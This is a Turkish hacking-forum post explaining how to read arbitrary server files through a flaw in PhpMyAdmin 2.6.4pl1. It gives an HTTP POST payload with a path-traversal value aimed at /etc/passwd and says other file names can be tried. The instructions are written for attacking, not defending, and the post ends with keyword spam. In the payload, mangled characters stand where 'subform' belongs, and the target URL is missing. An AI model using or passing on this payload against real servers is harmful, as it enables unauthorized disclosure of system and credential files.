sonraki »

[HoşGeldin Ziyretçi, Lütfen Giriş Yap ya da Üye Ol]

[MuratbanK]

PhpMyAdmin 2.6.4pl1 Dosyaları Gösterme

Popüler Mysql Yönetim yazılımı olan PhpMyAdmin’deki bir açıkla sunucudaki dosyaları görüntüleyebilirsiniz. Açık için bir exploit bulunsa da bunu kolaylıkla Clicker gibi HTTP Post yapan yazılımlarla gerçekleştirebilirsiniz.

HTTP emulatoru kullanarak saldırı yapmak için:

1- Çalışan bir proxy yükleyin.
2- Post seçeneğini kullanın.
3- Data kısmına aşağıdakileri girin:

usesubform[1]=1&usesubform[2]=1⊂form[1][redirect]=../../../../../etc/pas
swd⊂form[1][cXIb8O3]=1

(../..../etc/passwd dosyasını okunmasını istediğiniz dosya ile değiştirebilirsiniz)

4- Referer kısmını site ile aynı yapın.
5- Url kısmına
          gibi bir adres girin.

Post işlemini gerçekleştirdikten sonra açılan sayfada Unable to Access yazarsa dosyanın sunucuda bulunmadığı anlamına gelir, farklı dosya adları deneyebilirsiniz...

[Robot Moderator]

       
Hos Geldin Ziyaretci Arkadas. Ben Robot Moderator. HacKbanK tan Tam Anlamıyla Faydalanmak Icin Uye Olman Gerekmektedir.

 
indir PhpMyAdmin 2.6.4pl1 Dosyaları Gösterme indir, PhpMyAdmin 2.6.4pl1 Dosyaları Gösterme download, PhpMyAdmin 2.6.4pl1 Dosyaları Gösterme izle, PhpMyAdmin 2.6.4pl1 Dosyaları Gösterme bul, PhpMyAdmin 2.6.4pl1 Dosyaları Gösterme hack PhpMyAdmin 2.6.4pl1 Dosyaları Gösterme hacked PhpMyAdmin 2.6.4pl1 Dosyaları Gösterme hacking PhpMyAdmin 2.6.4pl1 Dosyaları Gösterme hacker PhpMyAdmin 2.6.4pl1 Dosyaları Gösterme programı PhpMyAdmin 2.6.4pl1 Dosyaları Gösterme indir, PhpMyAdmin 2.6.4pl1 Dosyaları Gösterme download, PhpMyAdmin 2.6.4pl1 Dosyaları Gösterme izle, PhpMyAdmin 2.6.4pl1 Dosyaları Gösterme smf, PhpMyAdmin 2.6.4pl1 Dosyaları Gösterme kurulumu, PhpMyAdmin 2.6.4pl1 Dosyaları Gösterme bul